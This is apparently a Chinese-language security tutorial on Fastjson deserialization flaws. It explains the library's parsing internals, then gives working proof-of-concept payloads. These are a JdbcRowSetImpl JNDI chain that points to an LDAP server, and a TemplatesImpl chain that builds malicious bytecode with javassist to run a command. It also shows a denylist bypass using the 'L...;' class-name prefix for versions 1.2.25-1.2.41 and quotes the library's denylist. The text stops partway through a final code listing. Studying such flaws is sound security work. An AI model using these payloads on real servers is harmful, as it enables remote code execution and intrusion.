FastJson系列

前置知识

环境搭建:

    <dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.24</version>
    </dependency>

如果无法下载源码使用下面命令:

mvn dependency:resolve -Dclassifier=sources

序列化

先写一个javabean:

package org.example;

public class user {
    private String name;
    private int age;

    public user() {
        System.out.println("调用构造函数");
    }

    public String getName() {
        System.out.println("调用getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("调用getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("调用setAge");
        this.age = age;
    }

}

然后使用com.alibaba.fastjson.JSON将user对象序列化为json字符串

public static void main( String[] args )
    {
        user A =  new user();
        A.setAge(18);
        A.setName("Tree");
        String s = JSON.toJSONString(A);
        System.out.println(s);
}

输出:

调用构造函数  //user A =  new user();
调用setAge  //A.setAge(18);
调用setName //A.setName("Tree");
调用getAge 
调用getName
{"age":18,"name":"Tree"}

可以看到,使用toJSONString(A)的时候,会自动调用user类的getter方法

同样的,如果使用toJSONString(A, SerializerFeature.WriteClassName)

public static void main( String[] args )
    {
        user A =  new user();
        A.setAge(18);
        A.setName("Tree");
        String s = JSON.toJSONString(A, SerializerFeature.WriteClassName);
        System.out.println(s);
}

输出结果:

调用构造函数
调用setAge
调用setName
调用getAge
调用getName
{"@type":"org.example.user","age":18,"name":"Tree"}

SerializerFeature.WriteClassNametoJSONString设置的一个属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名

反序列化

上面是利用JSON.toJSONString进行序列化,反序列化是利用parse()parseObject()

其实这个parseObject()也是调用了parse(),只是多出了一个JSON.toJSON()处理

public static JSONObject parseObject(String text) {
        Object obj = parse(text);
        if (obj instanceof JSONObject) {
            return (JSONObject) obj;
        }

        return (JSONObject) JSON.toJSON(obj);
    }

先看看这两个方法的区别

public static void main( String[] args )
    {
      String jsonstr1 = "{\"age\":18,\"name\":\"Tree\"}";
      System.out.println(JSON.parse(jsonstr1));
      System.out.println(JSON.parseObject(jsonstr1));
      System.out.println(JSON.parseObject(jsonstr1, user.class));
}

输出:

{"name":"Tree","age":18}
{"name":"Tree","age":18}
调用构造函数
调用setAge
调用setName
org.example.user@1a7e7ff

可以看到,当要处理的json字符串为{"age":18,"name":"Tree"}时,parse(jsonstr1)和parseObject(jsonstr1)执行效果是一样的,如果使用parseObject(jsonstr1, user.class)指定class时,会自动调用这个类的setter方法和构造函数

当要处理的字符串为{"@type":"org.example.user","age":18,"name":"Tree"}

public static void main( String[] args )
    {
      String jsonstr2 = "{\"@type\":\"org.example.user\",\"age\":18,\"name\":\"Tree\"}";
      System.out.println(JSON.parse(jsonstr2));
      System.out.println(JSON.parseObject(jsonstr2));
      System.out.println(JSON.parseObject(jsonstr2, user.class));
}

输出:

调用构造函数
调用setAge
调用setName
org.example.user@1ef04b5
调用构造函数
调用setAge
调用setName
调用getAge
调用getName
{"name":"Tree","age":18}
调用构造函数
调用setAge
调用setName
org.example.user@d6993a

可以看到使用parse处理,会调用org.example.user这个类的构造函数和setter方法,而parseObject是构造方法,setter和getter方法都调用,如果parseObject添加了 指定的类,就只是调用构造方法和set方法

还可以发现@type的作用是用来指定解析类的

反序列化流程

这里使用parseObject进行调试,因为这个方法里面已经调用 了parse()方法了

String jsonstr2 = "{\"@type\":\"org.example.user\",\"age\":18,\"name\":\"Tree\"}";
System.out.println(JSON.parseObject(jsonstr2));

首先来到parseObject()方法

public static JSONObject parseObject(String text) {
        Object obj = parse(text);
        if (obj instanceof JSONObject) {
            return (JSONObject) obj;
        }

        return (JSONObject) JSON.toJSON(obj);
    }

跟进parse(text)

public static Object parse(String text) {
        return parse(text, DEFAULT_PARSER_FEATURE);
    }

继续跟进

public static Object parse(String text, int features) {
        if (text == null) {
            return null;
        }
        DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
        Object value = parser.parse();

        parser.handleResovleTask(value);

        parser.close();

        return value;
    }

在这里发现,创建了一个DefaultJSONParser对象,构造函数如下, 跟进字符串开头进行设置token,当前开头为{,所以token=JSONToken.LBRACE

public DefaultJSONParser(final Object input, final JSONLexer lexer, final ParserConfig config){
        this.lexer = lexer;
        this.input = input;
        this.config = config;
        this.symbolTable = config.symbolTable;

        int ch = lexer.getCurrent();
        if (ch == '{') {
            lexer.next();
            ((JSONLexerBase) lexer).token = JSONToken.LBRACE;
        } else if (ch == '[') {
            lexer.next();
            ((JSONLexerBase) lexer).token = JSONToken.LBRACKET;
        } else {
            lexer.nextToken(); // prime the pump
        }
    }

然后调用了它的parse()方法,真正的解析是在这里

跟进这个parse()方法

public Object parse() {
        return parse(null);
    }

继续跟进

public Object parse(Object fieldName) {
        final JSONLexer lexer = this.lexer;
        switch (lexer.token()) {
                ....
                 
             case LBRACE:
                JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
                return parseObject(object, fieldName);       
                    
              ....
                
        }
}

这个解析函数会跟据刚刚构造函数设置的token进入不同的分支,这里就进入了LBRACE分支,跟进parseObject(object, fieldName)

在这个parseObject中,前面会解析出key值,再通过if判断是否为@type,如果是并且满足!lexer.isEnabled(Feature.DisableSpecialKeyDetect),大概就是没有禁用特殊键检测,则进入if语句

image-20230804093612224

进入if语句后,首先通过lexer.scanSymbol(symbolTable, '"')获取@type对应的value,也就是指定的类名,然后在通过TypeUtils.loadClass加载这个类

loadClass的代码如下:

public static Class<?> loadClass(String className, ClassLoader classLoader) {
        if (className == null || className.length() == 0) {
            return null;
        }
        Class<?> clazz = mappings.get(className);
        if (clazz != null) {
            return clazz;
        }
        if (className.charAt(0) == '[') {
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        }
        if (className.startsWith("L") && className.endsWith(";")) {
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        }
        try {
            if (classLoader != null) {
                clazz = classLoader.loadClass(className);
                mappings.put(className, clazz);
                return clazz;
            }
        } catch (Throwable e) {
            e.printStackTrace();
            // skip
        }
        try {
            ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();

            if (contextClassLoader != null) {
                clazz = contextClassLoader.loadClass(className);
                mappings.put(className, clazz);

                return clazz;
            }
        } catch (Throwable e) {
            // skip
        }
        try {
            clazz = Class.forName(className);
            mappings.put(className, clazz);

            return clazz;
        } catch (Throwable e) {
            // skip
        }
        return clazz;
    }

首先,检查 className 是否为空或长度为零。如果是,则返回 null。

接着,尝试从 mappings(一个缓存)中获取已加载的类对象。如果找到了,则直接返回。

如果 className 是一个数组类型(以 “[“ 开头),则递归调用 loadClass 方法来加载数组元素类型的类对象,并通过 Array.newInstance 创建一个长度为 0 的数组实例,最后返回其类对象。

如果 className 以 “L” 开头并以 “;” 结尾,说明它是一个带有包名的类名,去除首尾的字符后递归调用 loadClass 方法来加载真实的类对象,并返回。

如果以上条件都不满足,则尝试通过提供的 classLoader 加载类对象。如果 classLoader 不为空,则使用它来加载类,并将加载的类对象保存到 mappings 中,然后返回。

如果使用 classLoader 加载失败,则尝试使用当前线程的上下文类加载器(contextClassLoader)加载类对象,并将加载的类对象保存到 mappings 中,然后返回。

如果前面的步骤都失败,则使用 Class.forName 方法加载指定名称的类对象,并将加载的类对象保存到 mappings 中,最后返回。

如果所有的尝试都失败了,最后返回 null。

回到parseObject中

ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);

这个是进入if判断的结尾,根据加载得到clazz获取反序列化器

跟进getDeserializer

image-20230804101023264

这里存在一个黑名单限制可以反序列化的类,黑名单里面只有Thread

然后往下,运行到

derializer = createJavaBeanDeserializer(clazz, type);

跟进createJavaBeanDeserializer方法,里面会调用JavaBeanInfo.build()

JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, type, propertyNamingStrategy);

跟进这个build

在这个方法中,会通过反射获取clazz这个类的属性值和方法名,然后就是对setter和getter方法的处理和判断:

setter自动调用需要满足以下条件:

  • 方法名长度大于4
if (methodName.length() < 4) {
                continue;
            }
  • 非静态方法
if (Modifier.isStatic(method.getModifiers())) {
                continue;
            }
  • 返回值为void或者当前类
if (!(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
                continue;
            }
  • 以set开头且第四个字母为大写
if (!methodName.startsWith("set")) { 
                continue;
            }
            char c3 = methodName.charAt(3);

            String propertyName;
            if (Character.isUpperCase(c3) //
                || c3 > 512 // for unicode method name
            ) {}
  • 参数个数为1个
Class<?>[] types = method.getParameterTypes();
            if (types.length != 1) {
                continue;
            }

解析完setter方法后再处理getter方法

同理:getter自动调用还需要满足以下条件:

  • 方法名长度大于4
  • 非静态方法
  • 以get开头且第四个字母为大写
  • 无参数传入
  • 返回值类型继承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong
  • 此getter不能有setter方法(程序会先将目标类中所有的setter加入fieldList列表,因此可以通过读取fieldList列表来判断此类中的getter方法有没有setter)

解析完后将满足条件的方法添加到fieldList里面

add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures,
                                         annotation, fieldAnnotation, null));

解析完后返回到parseObject()

ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);

在deserializer.deserialze()这里进行了反序列化调用了setter方法,由于调试的时候无法跟进,这里就不分析了

然后返回到JSON类下的 parseObject()

public static JSONObject parseObject(String text) {
        Object obj = parse(text);
        if (obj instanceof JSONObject) {
            return (JSONObject) obj;
        }

        return (JSONObject) JSON.toJSON(obj);
    }

走完了parse()后调用了setter方法,然后再往下调用JSON.toJSON

运行到这里:

if (serializer instanceof JavaBeanSerializer) {
            JavaBeanSerializer javaBeanSerializer = (JavaBeanSerializer) serializer;
            
            JSONObject json = new JSONObject();
            try {
                Map<String, Object> values = javaBeanSerializer.getFieldValuesMap(javaObject);
                for (Map.Entry<String, Object> entry : values.entrySet()) {
                    json.put(entry.getKey(), toJSON(entry.getValue()));
                }
            } catch (Exception e) {
                throw new JSONException("toJSON error", e);
            }
            return json;
        }

跟进getFieldValuesMap,其中javaObject就是@type指定的类

public Map<String, Object> getFieldValuesMap(Object object) throws Exception {
        Map<String, Object> map = new LinkedHashMap<String, Object>(sortedGetters.length);
        
        for (FieldSerializer getter : sortedGetters) {
            map.put(getter.fieldInfo.name, getter.getPropertyValue(object));
        }
        
        return map;
    }

这里getter.getPropertyValue直接传入参数object,跟进查看

public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {
        Object propertyValue =  fieldInfo.get(object);
        if (format != null && propertyValue != null) {
            if (fieldInfo.fieldClass == Date.class) {
                SimpleDateFormat dateFormat = new SimpleDateFormat(format);
                dateFormat.setTimeZone(JSON.defaultTimeZone);
                return dateFormat.format(propertyValue);
            }
        }
        return propertyValue;
    }

继续跟进fieldInfo.get(object)

 public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
        if (method != null) {
            Object value = method.invoke(javaObject, new Object[0]);
            return value;
        }

        return field.get(javaObject);
    }

到这里可以看到method.invoke,通过反射调用方法,这里调用的就是getter方法

然后返回到JSON.toJSON

try {
                Map<String, Object> values = javaBeanSerializer.getFieldValuesMap(javaObject);
                for (Map.Entry<String, Object> entry : values.entrySet()) {
                    json.put(entry.getKey(), toJSON(entry.getValue()));
                }
            } catch (Exception e) {
                throw new JSONException("toJSON error", e);
            }
            return json;

然后通过json.put逐渐构建出json对象,返回json

整个反序列化的过程大概就是这样子了,总的可以知道在处理json字符串的时候parseparseObject会调用@type指定的类的setter方法给属性赋值,如果要调用getter方法需要使用parseObject

就是这个自动调用的特性,造成了序列化漏洞

省流

  • 当反序列化为JSON.parseObject(*)形式即未指定class时,会调用反序列化得到的类的构造函数、所有属性的getter方法、JSON里面的非私有属性的setter方法,其中properties属性的getter方法会被调用两次;
  • 当反序列化为JSON.parseObject(*,*.class)形式即指定class时,只调用反序列化得到的类的构造函数、JSON里面的非私有属性的setter方法、properties属性的getter方法;
  • 当反序列化为JSON.parseObject(*)形式即未指定class进行反序列化时得到的都是JSONObject类对象,而只要指定了class即JSON.parseObject(*,*.class)形式得到的都是特定的Student类;
  • 存在无参构造方法:使用无参构造方法创建对象,并通过反射设置属性值
  • 不存在无参构造方法,但存在有参构造方法:尝试根据 JSON 字符串的属性名称查找相应的构造方法参数,并通过反射调用有参构造方法创建对象,并设置属性值。

setter自动调用需要满足以下条件

  • 方法名长度大于4

  • 非静态方法

  • 返回值为void或者当前类

  • 以set开头且第四个字母为大写

  • 参数个数为1个

getter自动调用还需要满足以下条件

  • 方法名长度大于4
  • 必须是 public 修饰
  • 非静态方法
  • 以get开头且第四个字母为大写
  • 无参数传入
  • 返回值类型继承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong
  • 此getter不能有setter方法(程序会先将目标类中所有的setter加入fieldList列表,因此可以通过读取fieldList列表来判断此类中的getter方法有没有setter)

除此之外Fastjson还有以下功能点:

  1. 如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用Feature.SupportNonPublicField参数
  2. fastjson 在为类属性寻找getter/setter方法时,调用函数com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法,会忽略_-字符串
  3. fastjson 在反序列化时,如果Field类型为byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue进行base64解码,在序列化时也会进行base64编码

$ref

当fastjson版本>=1.2.36时,我们可以使用$ref的方式来调用任意的getter

语法 描述
{“$ref”:”$”} 引用根对象
{“$ref”:”@”} 引用自己
{“$ref”:”..”} 引用父对象
{“$ref”:”../..”} 引用父对象的父对象
{“$ref”:”$.members[0].reportTo”} 基于路径的引用

补充:

在给setter方法设置传入的参数的时候key是根据setter的名字决定的,例如

public void setName(String val) {
        System.out.println("调用setName");
        this.n = val;
    }

如果调用setName的时候设置传入的参数val的值,key的名称只能是name/Name ,就是函数名去除掉set/get剩余的部分

{"Name":"xxxxx"}
或者
{"name":"xxxxx"}

不能这样

{"n":"xxxxx"}或者{"val":"xxxxx"}

反序列化的时候调用的构造函数是无参构造函数

Fastjson<=1.2.24

1.2.24版本是第一个被暴露出漏洞的版本

JNDI利用链

根据fastjson的特性找到可利用的类,这里的利用类是com.sun.rowset.JdbcRowSetImpl

在这个类中,利用点在connect方法里

private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

这里可以看到new InitialContext()和lookup()方法,如果this.getDataSourceName()可控,这不就JDNI注入了吗

根进this.getDataSourceName(),这里是调用了父类的getDataSourceName方法

public String getDataSourceName() {
        return dataSource;
    }

下面是对应的setter方法

public void setDataSourceName(String name) throws SQLException {

        if (name == null) {
            dataSource = null;
        } else if (name.equals("")) {
           throw new SQLException("DataSource name cannot be empty string");
        } else {
           dataSource = name;
        }

        URL = null;
    }

所以只有构造如下,即可调用这个setter方法给dataSource赋值

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0:1389/Basic/Command/calc"}

然后调用connect方法的时候就会调用getDataSourceName()获取到dataSource的内容

下一步就是如何调用connect方法

通过查找,在这个类下找到两个,第一个是getDatabaseMetaData

public DatabaseMetaData getDatabaseMetaData() throws SQLException {
        Connection var1 = this.connect();
        return var1.getMetaData();
    }

如果反序列化调用了这个getter方法,就会调用connect(),但是反序列化过程不会调用这个方法,因为这个方法的返回值是DatabaseMetaData,不满足返回值类型继承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong

如果要调用这个get方法,只能通过parseObject方法里面的JSON.toJSON ,但是要确保parse()不报错(这很难)

然后找下一个

public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }

因为反序列化的时候调用无参构造函数的时候,this.conn=null,所以这里会进入else分支调用connect

综上所述,POC构造如下

String jsonstr3 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://0.0.0.0:1389/Basic/Command/calc\",\"AutoCommit\":true}";

JSON.parse(jsonstr3);//或者JSON.parseObject(jsonstr3)

注意

因为这个是存在一个调用顺序的,反序列化的过程中,先调用满足条件的setter方法,根据这个字符串从左往右依次执行,例如这个,先调用setDatabaseMetaData(), 然后再调用setAutoCommit,刚刚好先赋值再执行

所以将顺序调换是用不了的

{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"AutoCommit\":true,\"dataSourceName\":\"ldap://0.0.0.0:1389/Basic/Command/calc\"}

如果是getter方法的话,就是先getAutoCommit()再getDatabaseMetaData()刚好反过来,顺序是从右往左

TemplatesImpl 利用链

javassist:

<dependency>
      <groupId>org.javassist</groupId>
      <artifactId>javassist</artifactId>
      <version>3.22.0-GA</version>
</dependency>

这里利用的是下面这个类:

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

和CC2这条链的利用差不多,还是这个defineTransletClasses方法

private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new Hashtable();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

这个方法会创建一个长度为_bytecodes.length的数组_class,然后循环遍历每个转换类的字节码,并通过loader.defineClass(_bytecodes[i])方法将字节码转换为实际的Class对象,如果_bytecodes保存的是恶意的字节码,那这里就可以获得一个恶意的Class对象了

这个恶意类必须继承AbstractTranslet,因为:

//private static String ABSTRACT_TRANSLET
        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }

如何获取恶意的字节码?

使用javassist来构造

ClassPool pool = ClassPool.getDefault();
CtClass Evil = pool.makeClass("Evil");
Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String name = "Evil";
Evil.setName(name);
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
CtConstructor constructor = Evil.makeClassInitializer();
constructor.insertBefore(cmd);
byte[] bytes =Evil.toBytecode();

下一步考虑_bytecodes如何赋值

private synchronized void setTransletBytecodes(byte[][] bytecodes) {
        _bytecodes = bytecodes;
    }

这个setter方法可以给_bytecodes赋值的但是它是private修饰的,反序列化时不会调用,找遍了setter和getter方法也没有找到一个可以让_bytecodes赋值的地方

如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用Feature.SupportNonPublicField参数

JSON.parse(payload, Feature.SupportNonPublicField);
或
JSON.parseObject(payload, Feature.SupportNonPublicField);

所以构造payload如下:

"{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"_bytecodes\"]}"

下一步就是要想如何调用defineTransletClasses()

按照CC2的利用链是找到了getTransletInstance()这个方法

private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setServicesMechnism(_useServicesMechanism);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }

            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

这个方法刚好可以运行defineTransletClasses后调用了newInstance()对_class进行了实例化,只要控制_name不为null即可

但是这个getter方法不能直接调用,又是private修饰

继续往上寻找能够调用getTransletInstance的方法

找到这个newTransformer()

public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

这个方法不上setter或者getter, 继续寻找调用newTransformer方法的地方

public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

这个getter满足自动调用的条件,可以用, 刚好存在_outputProperties属性。Properties类型继承自 Hashtable,所以给个空键值对{} 即可

payload如下:

"{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"_bytecodes\"],\"_outputProperties\":{}}"

在结合一下上面提到的条件_name不为null

"{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"_bytecodes\"],\"_name\":\"AA\",\"_outputProperties\":{}}";

然后运行发现,正常流程都走完了,就是没有运行恶意代码

调试发现在com.alibaba.fastjson.parser.JSONScanner#bytesValue中,如果Field类型为byte[],会进行base64解码

public byte[] bytesValue() {
        return IOUtils.decodeBase64(text, np + 1, sp);
    }

所以将生成的_bytecodes进行base64编码即可

最终POC

package org.example;
import com.alibaba.fastjson.JSON;
import java.io.*;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import com.alibaba.fastjson.parser.JSONScanner;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class App 
{
    public static void main( String[] args ) throws NotFoundException, CannotCompileException, IOException {
        //构造恶意类
        ClassPool pool = ClassPool.getDefault();
        CtClass Evil = pool.makeClass("Evil");
        Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String name = "Evil";
        Evil.setName(name);
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        CtConstructor constructor = Evil.makeClassInitializer();
        constructor.insertBefore(cmd);
        byte[] bytes =Evil.toBytecode();

        byte[] encodedBytes = Base64.getEncoder().encode(bytes);
        String base64Code=new String(encodedBytes, StandardCharsets.UTF_8);

        String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+base64Code+"\"],\"_name\":\"aa\",\"_outputProperties\":{}}";
        JSON.parse(payload, Feature.SupportNonPublicField);
//        JSON.parseObject(payload, Feature.SupportNonPublicField);


    }
}

因为上面测试的jdk版本为8u41,和高版本的payload不一样

思想是一样的,只是多控制了个参数

在高版本的defineTransletClasses中,loader变了 ,这里还需要控制_tfactory不为空

TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

所以构造POC:

{
        "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
        "_bytecodes":["base64Code"],
        "_name":"aa",
        "_tfactory":{ },
        "_outputProperties":{},
        "_version":""
    }

Fastjson1.2.25-1.2.41

条件:开启AutoType

环境搭建:

<dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.25</version>
    </dependency>

在这个版本中对前面的版本漏洞进行了修复

image-20230807151344823

在此版本中,新增了黑名单和白名单功能
ParserConfig中,可以看到黑名单的内容,而且设置了一个autoTypeSupport用来控制是否可以反序列化,autoTypeSupport默认为false且禁止反序列化,为true时会使用checkAutoType来进行安全检测

private boolean   autoTypeSupport = AUTO_SUPPORT;

private String[]  denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
private String[]   acceptList  = AUTO_TYPE_ACCEPT_LIST;//[]

可以看上面版本利用的com.sun.在黑名单里面

checkAutoType中进行了黑白名单检查,但是调试发现白名单为空

if (autoTypeSupport || expectClass != null) {
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    return TypeUtils.loadClass(typeName, defaultClassLoader);
                }
            }

            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

首先autoTypeSupport默认为false,如果要修改为true,可以通过服务的添加ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

进入上面的判断后,先进行白名单检查,如果找到,则直接返回class,如果没找到,往下进行黑名单检查

还有

当autoTypeSupport为false的时候会进入下面的逻辑

if (!autoTypeSupport) {
            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                    return clazz;
                }
            }
        }

这里和上面的差不多,但是是先进行黑名单检查,再进行白名单检查

如果黑白名单里面都没找到,那只能

if (autoTypeSupport || expectClass != null) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
        }

如果这个if也进不去,返回clazz=null

绕过分析

无论autoTypeSupport是否为true,都需要经过检查黑白名单,看似只能找到其他的利用类绕过黑名单

先看看loadClass的逻辑

public static Class<?> loadClass(String className, ClassLoader classLoader) {
        if (className == null || className.length() == 0) {
            return null;
        }

        Class<?> clazz = mappings.get(className);

        if (clazz != null) {
            return clazz;
        }

        if (className.charAt(0) == '[') {//[开头
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        }

        if (className.startsWith("L") && className.endsWith(";")) {//L开头,;结尾
            String newClassName = className.substring(1, className.length() - 1);//去除开头和结尾
            return loadClass(newClassName, classLoader);
        }

    .......
    
    }

很明显的看到这里会对className进行处理,如果className的开头为[,会去掉这个开头再加载

但是实际上在代码中也可以看见它会返回Array的实例变成数组。在实际中它远远不会执行到这一步,在json串解析时就已经报错。

如果是L开头,;结尾的,会去除L; 进行加载,直接返回加载结果

1.2.24版本的链子是这样的

"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://0.0.0.0:1389/Basic/Command/calc\",\"AutoCommit\":true}"

如果将其修改为

"{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://0.0.0.0:1389/Basic/Command/calc\",\"AutoCommit\":true}"

就可以绕过黑名单中对com.sun的检测了

但是绕过黑白名单后,还是没法进行loadclass,只剩下

if (autoTypeSupport || expectClass != null) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
        }

为了能够进入这个if语句,只能在服务段进行修改,添加下面语句:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

完整POC

package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class App
{
    public static void main( String[] args ) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://0.0.0.0:1389/Basic/Command/calc\",\"AutoCommit\":true}";
        JSON.parseObject(payload);

    }
}

同理,TemplatesImpl 利用链也可以利用

package org.example;
import com.alibaba.fastjson.JSON;
import java.io.*;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
